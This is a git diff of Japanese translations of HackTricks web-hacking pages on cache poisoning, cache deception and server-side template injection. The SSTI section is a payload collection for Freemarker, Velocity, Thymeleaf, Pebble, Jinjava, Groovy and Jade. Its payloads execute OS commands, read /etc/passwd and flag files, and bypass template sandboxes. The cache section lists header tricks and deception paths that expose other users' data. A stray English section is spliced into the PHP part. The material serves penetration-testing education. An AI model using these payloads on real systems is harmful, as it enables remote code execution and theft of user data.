もし、**`X-Host`** ヘッダーが**ドメイン名をJSリソースをロードするために使用**されていることがわかったが、レスポンスの**`Vary`** ヘッダーが**`User-Agent`** を示している場合、被害者のUser-Agentを外部に送信し、そのUser-Agentを使用してキャッシュを改ざんする方法を見つける必要があります。
|
||||
もし、**`X-Host`** ヘッダーが**ドメイン名をロードするために使用されている**ことがわかったが、レスポンスの**`Vary`** ヘッダーが**`User-Agent`** を示している場合、被害者の User-Agent を外部に送信し、そのユーザーエージェントを使用してキャッシュを改ざんする方法を見つける必要があります。
|
||||
```markup
|
||||
GET / HTTP/1.1
|
||||
Host: vulnerbale.net
|
||||
|
@ -140,11 +140,11 @@ ATSは、URL内のフラグメントを削除せずに転送し、キャッシ
|
|||
|
||||
### GitLab + GCP CP-DoS
|
||||
|
||||
GitLabは静的コンテンツを保存するためにGCPバケットを使用していました。**GCPバケット**は**ヘッダー`x-http-method-override`**をサポートしていました。そのため、ヘッダー`x-http-method-override: HEAD`を送信し、キャッシュを毒化して空の応答本体を返すことが可能でした。また、メソッド`PURGE`もサポートしていました。
|
||||
GitLabは静的コンテンツを保存するためにGCPバケットを使用していました。**GCPバケット**は**`x-http-method-override`ヘッダー**をサポートしていました。そのため、ヘッダー`x-http-method-override: HEAD`を送信し、キャッシュを毒化して空の応答本体を返すことが可能でした。また、メソッド`PURGE`もサポートしていました。
|
||||
|
||||
### Rack Middleware(Ruby on Rails)
|
||||
|
||||
Ruby on Railsアプリケーションでは、Rackミドルウェアがよく利用されます。 Rackコードの目的は、**`x-forwarded-scheme`**ヘッダーの値を取得し、リクエストのスキームとして設定することです。ヘッダー`x-forwarded-scheme: http`が送信されると、同じ場所への301リダイレクトが発生し、そのリソースへのサービス拒否(DoS)を引き起こす可能性があります。さらに、アプリケーションは`X-forwarded-host`ヘッダーを認識し、ユーザーを指定されたホストにリダイレクトする場合があります。この動作は、攻撃者のサーバーからJavaScriptファイルを読み込む可能性があり、セキュリティリスクを引き起こす可能性があります。
|
||||
Ruby on Railsアプリケーションでは、Rackミドルウェアがよく利用されます。Rackコードの目的は、**`x-forwarded-scheme`**ヘッダーの値を取得し、リクエストのスキームとして設定することです。ヘッダー`x-forwarded-scheme: http`が送信されると、同じ場所への301リダイレクトが発生し、そのリソースへのサービス拒否(DoS)が発生する可能性があります。さらに、アプリケーションは`X-forwarded-host`ヘッダーを認識し、ユーザーを指定されたホストにリダイレクトすることがあります。この動作は、攻撃者のサーバーからJavaScriptファイルを読み込む可能性があり、セキュリティリスクを引き起こす可能性があります。
|
||||
|
||||
### 403とストレージバケット
|
||||
|
||||
|
@ -152,7 +152,7 @@ Cloudflareは以前、403の応答をキャッシュしていました。不正
|
|||
|
||||
### キー付きパラメータの注入
|
||||
|
||||
キャッシュには、キャッシュキーに特定のGETパラメータが含まれることがよくあります。たとえば、FastlyのVarnishはリクエストの`size`パラメータをキャッシュしました。ただし、URLエンコードされたパラメータ(例:`siz%65`)が誤った値とともに送信された場合、キャッシュキーは正しい`size`パラメータを使用して構築されます。しかし、バックエンドはURLエンコードされたパラメータの値を処理します。2番目の`size`パラメータをURLエンコードすると、キャッシュには省略されますが、バックエンドには利用されます。このパラメータに値0を割り当てると、キャッシュ可能な400 Bad Requestエラーが発生します。
|
||||
キャッシュには、キャッシュキーに特定のGETパラメータが含まれることがよくあります。たとえば、FastlyのVarnishはリクエストの`size`パラメータをキャッシュしました。ただし、URLエンコードされたパラメータ(例:`siz%65`)が誤った値で送信された場合、キャッシュキーは正しい`size`パラメータを使用して構築されます。しかし、バックエンドはURLエンコードされたパラメータの値を処理します。2番目の`size`パラメータをURLエンコードすると、キャッシュには省略されますが、バックエンドで使用されます。このパラメータに値0を割り当てると、キャッシュ可能な400 Bad Requestエラーが発生します。
|
||||
|
||||
### ユーザーエージェントルール
|
||||
|
||||
|
@ -160,34 +160,38 @@ Cloudflareは以前、403の応答をキャッシュしていました。不正
|
|||
|
||||
### 不正なヘッダーフィールド
|
||||
|
||||
[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230)は、ヘッダー名に許容される文字を指定しています。指定された**tchar**範囲外の文字を含むヘッダーは、理想的には400 Bad Request応答をトリガーするはずです。実際には、サーバーは常にこの標準に従うわけではありません。Akamaiは、`cache-control`ヘッダーが存在しない限り、無効な文字を含むヘッダーを転送し、400エラーをキャッシュします。`\`などの不正な文字を含むヘッダーを送信すると、キャッシュ可能な400 Bad Requestエラーが発生する可能性があるパターンが特定されました。
|
||||
[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230)は、ヘッダー名に許容される文字を指定しています。指定された**tchar**範囲外の文字を含むヘッダーは、理想的には400 Bad Request応答をトリガーするはずです。実際には、サーバーは常にこの標準に従うわけではありません。Akamaiは、`cache-control`ヘッダーが存在しない限り、無効な文字を含むヘッダーを転送し、400エラーをキャッシュします。`\`などの不正な文字を含むヘッダーを送信すると、キャッシュ可能な400 Bad Requestエラーが発生する可能性がある脆弱なパターンが特定されました。
|
||||
|
||||
### 新しいヘッダーの検出
|
||||
|
||||
[https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6](https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6)
|
||||
|
||||
## キャッシュ欺瞞
|
||||
## キャッシュデセプション
|
||||
|
||||
キャッシュ欺瞞の目標は、クライアントが**キャッシュに保存されるリソースを、それらの機密情報と共に読み込むようにすること**です。
|
||||
キャッシュデセプションの目標は、クライアントが**キャッシュに保存されるリソースを、それらの機密情報と共に読み込むようにすること**です。
|
||||
|
||||
まず、`.css`、`.js`、`.png`などの**拡張子**は通常、**キャッシュに保存**されるように**構成**されています。したがって、`www.example.com/profile.php/nonexistent.js`にアクセスすると、応答がキャッシュされる可能性があります。なぜなら、拡張子`.js`があるからです。しかし、**アプリケーション**が_www.example.com/profile.php_に保存されている**機密**ユーザー内容を**再生**している場合、他のユーザーからその内容を**盗む**ことができます。
|
||||
まず、`.css`、`.js`、`.png`などの**拡張子**は通常、**キャッシュに保存**されるように**構成**されています。したがって、`www.example.com/profile.php/nonexistent.js`にアクセスすると、応答が`.js` **拡張子**を見てキャッシュに保存される可能性があります。しかし、**アプリケーション**が _www.example.com/profile.php_ に保存されている**機密**ユーザー内容を**再生**している場合、他のユーザーからその内容を**盗む**ことができます。
|
||||
|
||||
他にテストすること:
|
||||
テストする他のこと:
|
||||
|
||||
* _www.example.com/profile.php/.js_
|
||||
* _www.example.com/profile.php/.css_
|
||||
* _www.example.com/profile.php/test.js_
|
||||
* _www.example.com/profile.php/../test.js_
|
||||
* _www.example.com/profile.php/%2e%2e/test.js_
|
||||
* `.avif`などのあまり知られていない拡張子を使用
|
||||
* `.avif`などのより一般的でない拡張子を使用
|
||||
|
||||
非常に明確な例は、この解説で見つけることができます:[https://hackerone.com/reports/593712](https://hackerone.com/reports/593712)。\
|
||||
この例では、_http://www.example.com/home.php/non-existent.css_のような存在しないページを読み込むと、_http://www.example.com/home.php_(**ユーザーの機密情報を含む**)の内容が返され、キャッシュサーバーが結果を保存します。\
|
||||
その後、**攻撃者**は自分のブラウザで_http://www.example.com/home.php/non-existent.css_にアクセスし、以前にアクセスしたユーザーの**機密情報**を観察できます。
|
||||
その後、**攻撃者**は自分のブラウザで _http://www.example.com/home.php/non-existent.css_ にアクセスし、以前にアクセスしたユーザーの**機密情報**を観察できます。
|
||||
|
||||
**キャッシュプロキシ**は、ファイルを**拡張子**(_.css_)に基づいて**キャッシュ**するように**構成**されている必要があることに注意してください。例では、_http://www.example.com/home.php/non-existent.css_は`text/css` MIMEタイプ(_.css_ファイルに期待されるもの)ではなく、`text/html`コンテンツタイプを持っている可能性があります。
|
||||
**キャッシュプロキシ**は、ファイルを**拡張子**(_.css_)に基づいてキャッシュするように**構成**されている必要があることに注意してください。例では、_http://www.example.com/home.php/non-existent.css_は`text/css` MIMEタイプ(_.css_ファイルに期待されるもの)ではなく、`text/html`コンテンツタイプを持っています。
|
||||
|
||||
[HTTPリクエストスマグリングを悪用してキャッシュ欺瞞攻撃を実行する方法](http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception)について学びます。
|
||||
[HTTPリクエストスマグリングを悪用してキャッシュデセプション攻撃を実行する方法](http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception)について学びます。
|
||||
|
||||
## 自動ツール
|
||||
|
||||
* [**toxicache**](https://github.com/xhzeem/toxicache):Golangスキャナーを使用して、URLのリストでWebキャッシュポイズニングの脆弱性を見つけ、複数のインジェクション技術をテストします。
|
||||
|
||||
## 参考文献
|
||||
|
||||
|
@ -211,10 +215,8 @@ Cloudflareは以前、403の応答をキャッシュしていました。不正
|
|||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを発見する
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローする。**
|
||||
* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
|
||||
|
||||
</details>
|
||||
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
|
||||
- **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)で**フォロー**してください。
|
||||
- **ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
|
||||
|
|
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
|
@ -1,26 +1,26 @@
|
|||
# SSTI (Server Side Template Injection)
|
||||
# SSTI (サーバーサイドテンプレートインジェクション)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でゼロからヒーローまでAWSハッキングを学びましょう</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)で**フォロー**する。
|
||||
- **ハッキングトリックを共有するには、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter**🐦で**フォロー**する:[**@carlospolopm**](https://twitter.com/hacktricks\_live)。
|
||||
- **HackTricks**および**HackTricks Cloud**のGitHubリポジトリにPRを提出して、**ハッキングトリックを共有**する。
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com)は**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**でも最も重要なイベントの1つです。**技術的知識の促進を使命とする**この会議は、あらゆる分野のテクノロジーとサイバーセキュリティ専門家の熱い出会いの場です。
|
||||
[**RootedCON**](https://www.rootedcon.com)は**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**でも最も重要なイベントの1つです。**技術知識の促進を使命として**、この会議はあらゆる分野のテクノロジーとサイバーセキュリティ専門家の熱い出会いの場です。
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
## SSTI(Server-Side Template Injection)とは
|
||||
## SSTI(サーバーサイドテンプレートインジェクション)とは
|
||||
|
||||
サーバーサイドテンプレートインジェクションは、攻撃者がサーバーで実行されるテンプレートに悪意のあるコードをインジェクトできる脆弱性です。この脆弱性は、Jinjaを含むさまざまな技術で見つかる可能性があります。
|
||||
|
||||
|
@ -28,28 +28,28 @@ JinjaはWebアプリケーションで使用される人気のあるテンプレ
|
|||
```python
|
||||
output = template.render(name=request.args.get('name'))
|
||||
```
|
||||
この脆弱なコードでは、ユーザーのリクエストからの `name` パラメータが `render` 関数を使って直接テンプレートに渡されています。これにより、攻撃者が `name` パラメータに悪意のあるコードをインジェクトし、サーバーサイドのテンプレートインジェクションを引き起こす可能性があります。
|
||||
以下の脆弱なコードでは、ユーザーのリクエストからの `name` パラメータが `render` 関数を使用して直接テンプレートに渡されます。これにより、攻撃者が `name` パラメータに悪意のあるコードをインジェクトし、サーバーサイドのテンプレートインジェクションを引き起こす可能性があります。
|
||||
|
||||
たとえば、攻撃者は次のようなペイロードを持つリクエストを作成することができます:
|
||||
たとえば、攻撃者は次のようなペイロードを持つリクエストを作成できます:
|
||||
```
|
||||
http://vulnerable-website.com/?name={{bad-stuff-here}}
|
||||
```
|
||||
ペイロード `{{bad-stuff-here}}` が `name` パラメータにインジェクトされます。このペイロードには、攻撃者が不正なコードを実行したりテンプレートエンジンを操作したりして、サーバーを制御する可能性がある Jinja テンプレートディレクティブが含まれています。
|
||||
ペイロード `{{bad-stuff-here}}` が `name` パラメータに挿入されます。このペイロードには、攻撃者が不正なコードを実行したりテンプレートエンジンを操作したりしてサーバーを制御する可能性がある Jinja テンプレートディレクティブが含まれています。
|
||||
|
||||
サーバーサイドテンプレートインジェクションの脆弱性を防ぐために、開発者はユーザー入力がテンプレートに挿入される前に適切にサニタイズおよび検証されていることを確認する必要があります。入力検証の実装とコンテキストに応じたエスケープ技術の使用は、この脆弱性のリスクを緩和するのに役立ちます。
|
||||
サーバーサイドテンプレートインジェクション脆弱性を防ぐために、開発者はユーザー入力がテンプレートに挿入される前に適切にサニタイズおよび検証されていることを確認する必要があります。入力検証の実装とコンテキストに応じたエスケープ技術の使用は、この脆弱性のリスクを緩和するのに役立ちます。
|
||||
|
||||
### 検出
|
||||
|
||||
サーバーサイドテンプレートインジェクション(SSTI)を検出するために、まず**テンプレートのファジング**が直接的なアプローチです。これには、テンプレートに特殊文字のシーケンス(`${{<%[%'"}}%\`)をインジェクトし、通常のデータとこの特殊ペイロードとの違いを分析することが含まれます。脆弱性の指標には次のものがあります:
|
||||
サーバーサイドテンプレートインジェクション(SSTI)を検出するために、まず**テンプレートのファジング**が直接的なアプローチです。これには、テンプレートに特殊文字のシーケンス(`${{<%[%'"}}%\`)を挿入し、通常のデータとこの特殊ペイロードとの違いを分析することが含まれます。脆弱性の指標には次のものがあります:
|
||||
|
||||
- 脆弱性やテンプレートエンジンを明らかにするエラーの発生。
|
||||
- 反射中にペイロードが存在しないか、または一部が欠落していることにより、サーバーが通常のデータと異なる方法で処理していることを示す。
|
||||
- **プレーンテキストコンテキスト**:サーバーがテンプレート式を評価しているかどうかを確認することによって、XSS と区別する。
|
||||
- 反射中にペイロードがないか、または一部が欠落していることにより、サーバーが通常のデータと異なる方法で処理していることを示す。
|
||||
- **プレーンテキストコンテキスト**:サーバーがテンプレート式を評価しているかどうかを確認して、XSS と区別する(例:`{{7*7}}`、`${7*7}`)。
|
||||
- **コードコンテキスト**:入力パラメータを変更して脆弱性を確認します。たとえば、`http://vulnerable-website.com/?greeting=data.username` の `greeting` を変更して、サーバーの出力が動的か固定かを確認します。`greeting=data.username}}hello` はユーザー名を返します。
|
||||
|
||||
#### 識別フェーズ
|
||||
|
||||
テンプレートエンジンを特定するには、エラーメッセージを分析したり、さまざまな言語固有のペイロードを手動でテストしたりする必要があります。エラーを引き起こす一般的なペイロードには `${7/0}`、`{{7/0}}`、`<%= 7/0 %>` が含まれます。数学的な操作に対するサーバーの応答を観察することで、特定のテンプレートエンジンを特定できます。
|
||||
テンプレートエンジンを特定するには、エラーメッセージを分析したり、さまざまな言語固有のペイロードを手動でテストしたりする必要があります。エラーを引き起こす一般的なペイロードには `${7/0}`、`{{7/0}}`、`<%= 7/0 %>` があります。数学演算に対するサーバーの応答を観察することで、特定のテンプレートエンジンを特定できます。
|
||||
|
||||
## ツール
|
||||
|
||||
|
@ -78,7 +78,7 @@ python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment
|
|||
|
||||
## Exploits
|
||||
|
||||
### 一般的な
|
||||
### 一般的
|
||||
|
||||
この**ワードリスト**には、以下で言及されているエンジンの環境で定義された**変数**が含まれています:
|
||||
|
||||
|
@ -124,7 +124,7 @@ ${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI()
|
|||
```
|
||||
**Freemarker - サンドボックス回避**
|
||||
|
||||
⚠️ Freemarkerバージョン2.3.30未満でのみ機能します
|
||||
⚠️ Freemarkerのバージョン2.3.30未満でのみ機能します
|
||||
```java
|
||||
<#assign classloader=article.class.protectionDomain.classLoader>
|
||||
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
|
||||
|
@ -139,6 +139,7 @@ ${dwf.newInstance(ec,null)("id")}
|
|||
|
||||
### Velocity (Java)
|
||||
```java
|
||||
// I think this doesn't work
|
||||
#set($str=$class.inspect("java.lang.String").type)
|
||||
#set($chr=$class.inspect("java.lang.Character").type)
|
||||
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
|
||||
|
@ -147,6 +148,17 @@ $ex.waitFor()
|
|||
#foreach($i in [1..$out.available()])
|
||||
$str.valueOf($chr.toChars($out.read()))
|
||||
#end
|
||||
|
||||
// This should work?
|
||||
#set($s="")
|
||||
#set($stringClass=$s.getClass())
|
||||
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
|
||||
#set($process=$runtime.exec("cat%20/flag563378e453.txt"))
|
||||
#set($out=$process.getInputStream())
|
||||
#set($null=$process.waitFor() )
|
||||
#foreach($i+in+[1..$out.available()])
|
||||
$out.read()
|
||||
#end
|
||||
```
|
||||
**詳細情報**
|
||||
|
||||
|
@ -155,7 +167,7 @@ $str.valueOf($chr.toChars($out.read()))
|
|||
|
||||
### Thymeleaf
|
||||
|
||||
Thymeleafでは、SSTI脆弱性の一般的なテストとして`${7*7}`の式が使用されます。潜在的なリモートコード実行のために、以下のような式が使用されます:
|
||||
Thymeleafでは、SSTI脆弱性の一般的なテストとして`${7*7}`の式が使用され、このテンプレートエンジンにも適用されます。潜在的なリモートコード実行のために、以下のような式が使用されることがあります:
|
||||
|
||||
* SpringEL:
|
||||
|
||||
|
@ -168,7 +180,7 @@ ${T(java.lang.Runtime).getRuntime().exec('calc')}
|
|||
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
|
||||
```
|
||||
|
||||
Thymeleafでは、これらの式を特定の属性内に配置する必要があります。ただし、他のテンプレート位置では、`[[...]]`や`[(...)]`のような構文を使用して、_式のインライン化_がサポートされています。したがって、単純なSSTIテストペイロードは`[[${7*7}]]`のようになります。
|
||||
Thymeleafでは、これらの式を特定の属性内に配置する必要があります。ただし、_式のインライン化_は他のテンプレート位置でもサポートされており、`[[...]]`や`[(...)]`のような構文を使用します。したがって、単純なSSTIテストペイロードは`[[${7*7}]]`のようになります。
|
||||
|
||||
ただし、このペイロードが機能する可能性は一般的に低いです。Thymeleafのデフォルト構成では、動的テンプレート生成はサポートされていません。テンプレートは事前に定義する必要があります。開発者は、文字列からテンプレートを動的に生成するために独自の`TemplateResolver`を実装する必要がありますが、これは一般的ではありません。
|
||||
|
||||
|
@ -260,7 +272,7 @@ Pebbleの古いバージョン(バージョン3.0.9未満):
|
|||
```java
|
||||
{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}
|
||||
```
|
||||
新しいPebbleのバージョン:
|
||||
新しいバージョンのPebble:
|
||||
```java
|
||||
{% raw %}
|
||||
{% set cmd = 'id' %}
|
||||
|
@ -282,16 +294,16 @@ Pebbleの古いバージョン(バージョン3.0.9未満):
|
|||
```
|
||||
### Jinjava (Java)
|
||||
|
||||
### Jinjava(Java)
|
||||
Jinjavaは、Java向けのテンプレートエンジンです。これは、サーバーサイドテンプレートインジェクション(SSTI)攻撃の標的になる可能性があります。 Jinjavaを使用している場合は、入力検証とエスケープ処理を適切に行うことが重要です。
|
||||
```java
|
||||
{{'a'.toUpperCase()}} would result in 'A'
|
||||
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206
|
||||
```
|
||||
JinjavaはHubspotによって開発されたオープンソースプロジェクトで、[https://github.com/HubSpot/jinjava/](https://github.com/HubSpot/jinjava/)で入手可能です。
|
||||
|
||||
**Jinjava - コマンド実行**
|
||||
|
||||
[https://github.com/HubSpot/jinjava/pull/230](https://github.com/HubSpot/jinjava/pull/230)によって修正されました。
|
||||
[https://github.com/HubSpot/jinjava/](https://github.com/HubSpot/jinjava/) で利用可能なHubspotによって開発されたオープンソースプロジェクトです。
|
||||
|
||||
[https://github.com/HubSpot/jinjava/pull/230](https://github.com/HubSpot/jinjava/pull/230) によって修正されました。
|
||||
```java
|
||||
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
|
||||
|
||||
|
@ -317,7 +329,7 @@ JinjavaはHubspotによって開発されたオープンソースプロジェク
|
|||
* `{{request.getClass()}}` - class com.hubspot.content.hubl.context.TemplateContextRequest
|
||||
* `{{request.getClass().getDeclaredMethods()[0]}}` - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
|
||||
|
||||
"com.hubspot.content.hubl.context.TemplateContextRequest"を検索し、[GithubのJinjavaプロジェクト](https://github.com/HubSpot/jinjava/)を発見しました。
|
||||
"com.hubspot.content.hubl.context.TemplateContextRequest" を検索し、[Github 上の Jinjava プロジェクト](https://github.com/HubSpot/jinjava/) を発見しました。
|
||||
```java
|
||||
{{request.isDebug()}}
|
||||
//output: False
|
||||
|
@ -370,13 +382,13 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc
|
|||
* `${{7*7}}` - 49
|
||||
* `${{request}}, ${{session}}, {{faceContext}}`
|
||||
|
||||
Expression Language (EL)は、JavaEEにおいてプレゼンテーション層(Webページなど)とアプリケーションロジック(管理されたビーンなど)との間の相互作用を容易にする基本的な機能です。これは、このコミュニケーションを効率化するために、複数のJavaEEテクノロジー全体で広く使用されています。ELを利用する主要なJavaEEテクノロジーには次のものがあります:
|
||||
Expression Language (EL)は、JavaEEにおいてプレゼンテーション層(Webページなど)とアプリケーションロジック(管理されたビーンなど)との間の相互作用を容易にする基本的な機能です。この通信を効率化するために、ELは複数のJavaEEテクノロジー全体で広く使用されています。ELを利用する主要なJavaEEテクノロジーには次のものがあります。
|
||||
|
||||
* **JavaServer Faces (JSF)**: ELを使用して、JSFページ内のコンポーネントを対応するバックエンドデータやアクションにバインドするために使用されます。
|
||||
* **JavaServer Pages (JSP)**: JSPではELが使用され、JSPページ内のデータへのアクセスや操作が行われ、ページ要素をアプリケーションデータに接続することが容易になります。
|
||||
* **JavaServer Faces (JSF)**: ELを使用して、JSFページのコンポーネントを対応するバックエンドデータやアクションにバインドします。
|
||||
* **JavaServer Pages (JSP)**: JSPではELが使用され、JSPページ内のデータへのアクセスや操作が可能になり、ページ要素をアプリケーションデータに接続しやすくなります。
|
||||
* **Contexts and Dependency Injection for Java EE (CDI)**: ELはCDIと統合され、Web層と管理されたビーンとの間のシームレスな相互作用を可能にし、より一貫したアプリケーション構造を確保します。
|
||||
|
||||
**ELインタプリタの悪用**について詳しく学ぶには、以下のページをチェックしてください:
|
||||
ELインタプリタの**悪用**について詳しく学ぶには、次のページをチェックしてください:
|
||||
|
||||
{% content-ref url="el-expression-language.md" %}
|
||||
[el-expression-language.md](el-expression-language.md)
|
||||
|
@ -411,7 +423,7 @@ this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 1
|
|||
```
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com/)は**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**でも最も重要なイベントの一つです。**技術知識の促進を使命**とするこの会議は、あらゆる分野のテクノロジーとサイバーセキュリティ専門家にとっての熱い出会いの場です。
|
||||
[**RootedCON**](https://www.rootedcon.com/)は**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**でも最も重要なイベントの一つです。**技術知識の促進を使命**として、この会議はあらゆる分野のテクノロジーとサイバーセキュリティ専門家にとっての熱い出会いの場です。
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
|
@ -472,16 +484,16 @@ $output = $twig > render (
|
|||
array("first_name" => $user.first_name)
|
||||
);
|
||||
```
|
||||
**詳細**
|
||||
**詳細情報**
|
||||
|
||||
* [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)のTwigとTwig(Sandboxed)セクションを参照してください。
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig)
|
||||
|
||||
### Plates(PHP)
|
||||
|
||||
PlatesはPHP固有のテンプレートエンジンであり、Twigからインスピレーションを受けています。ただし、新しい構文を導入するTwigとは異なり、Platesはテンプレート内でネイティブのPHPコードを活用し、PHP開発者にとって直感的です。
|
||||
PlatesはPHP固有のテンプレートエンジンであり、Twigからインスピレーションを受けています。ただし、新しい構文を導入するTwigとは異なり、PlatesはテンプレートでネイティブなPHPコードを活用し、PHP開発者にとって直感的です。
|
||||
|
||||
コントローラ:
|
||||
Controller:
|
||||
```php
|
||||
// Create new Plates instance
|
||||
$templates = new League\Plates\Engine('/path/to/templates');
|
||||
|
@ -489,14 +501,16 @@ $templates = new League\Plates\Engine('/path/to/templates');
|
|||
// Render a template
|
||||
echo $templates->render('profile', ['name' => 'Jonathan']);
|
||||
```
|
||||
ページのテンプレート:
|
||||
ページテンプレート:
|
||||
```php
|
||||
<?php $this->layout('template', ['title' => 'User Profile']) ?>
|
||||
|
||||
<h1>User Profile</h1>
|
||||
<p>Hello, <?=$this->e($name)?></p>
|
||||
```
|
||||
```plaintext
|
||||
レイアウトテンプレート:
|
||||
```
|
||||
```html
|
||||
<html>
|
||||
<head>
|
||||
|
@ -537,7 +551,23 @@ echo $templates->render('profile', ['name' => 'Jonathan']);
|
|||
</body>
|
||||
</html>
|
||||
```
|
||||
`authors.php`
|
||||
## Server-Side Template Injection (SSTI)
|
||||
|
||||
### Description
|
||||
|
||||
In some cases, the application may use server-side templates to render dynamic content. If the templates are not properly sanitized, an attacker may be able to inject and execute arbitrary code on the server.
|
||||
|
||||
### Exploitation
|
||||
|
||||
To exploit SSTI, an attacker can inject template directives into user inputs, such as form fields or URL parameters. The injected code can vary depending on the template engine used by the application.
|
||||
|
||||
### Detection
|
||||
|
||||
Detecting SSTI vulnerabilities involves testing user inputs for template injection points and observing the application's response. Look for error messages, unexpected output, or server-side code execution.
|
||||
|
||||
### Prevention
|
||||
|
||||
To prevent SSTI attacks, ensure that all user inputs are properly sanitized before being passed to the template engine. Use context-specific escaping functions or disable dangerous template features if not needed.
|
||||
```php
|
||||
<?php
|
||||
//we want to display this author list
|
||||
|
@ -584,9 +614,9 @@ echo $t->finish($t->parse('OUT', 'authors'));
|
|||
```javascript
|
||||
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}
|
||||
```
|
||||
**詳細**
|
||||
**詳細情報**
|
||||
|
||||
* [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)のJadeセクションにあります。
|
||||
* [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)のJadeセクションで
|
||||
